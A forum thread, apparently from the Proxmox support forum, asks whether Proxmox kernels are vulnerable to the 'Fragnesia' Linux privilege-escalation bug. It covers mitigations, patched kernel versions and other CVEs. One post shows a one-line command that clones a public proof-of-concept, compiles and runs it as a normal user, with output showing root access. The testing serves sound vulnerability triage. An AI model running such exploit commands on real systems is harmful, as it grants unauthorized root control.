• #1

Any info about the new Fragnesia bug? Is Proxmox kernel vulnerable?

UdoB

Distinguished Member

UdoB

Distinguished Member

• #3

In a virtual PVE, pve-no-subscription, both physical host and virtual host uptodate:

Code:

root@pnb:~# pveversion
pve-manager/9.1.11/8eac2c86f015bdda (running kernel: 7.0.2-2-pve)

In a shell of a "normal" user:

Code:

poc@pnb:~$ git clone https://github.com/v12-security/pocs.git && cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp
#
# a lot of output...

# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)

After that is run once it stays active until the cache is cleared. Meanwhile:

Code:

poc@pnb:~$ id
uid=1000(poc) gid=1000(poc) groups=1000(poc),100(users)
poc@pnb:~$ su -
# id
uid=0(root) gid=0(root) groups=0(root)

Last edited: May 14, 2026

• #5

the upstream patches are still in flux, but the manual mitigations for copyfail and dirtyfrag (forbidding the affected modules) protect against the issue according to the reports so far. there will be an announcement as usual once fixed kernel packages become available.

• #6

Last edited: May 15, 2026

• #7

patched kernels are on *-test, containing the fixes for both issues:

7.0.2-4
6.17.13-9
6.14.11-9
6.8.12-24

• #9

I assume Proxmox is not vulnerable to DirtyDecrypt aka DirtyCow (CVE-2026-31635), exploiting rxgk in rxrpc module)?
I could not find this feature (CONFIG_RXGK) enabled in any Proxmox kernel.

• #11

the feature is enabled (in the 6.17 and 7.0 kernels), but fixes are already included in recent kernel updates.

• #12

Hello, can you confirm is this CVE "CVE-2026-46333" impacted on proxmox-VE8.4.19 and kernel version is -- Linux 6.8.12-30-pve . is this kernel is impacted with this CVE ? please confirm.

Thanks,
Bhupendra

• #13

Hello, can you confirm is this CVE "CVE-2026-46333" impacted on proxmox-VE8.4.19 and kernel version is -- Linux 6.8.12-30-pve . is this kernel is impacted with this CVE ? please confirm.

Thanks,
Bhupendra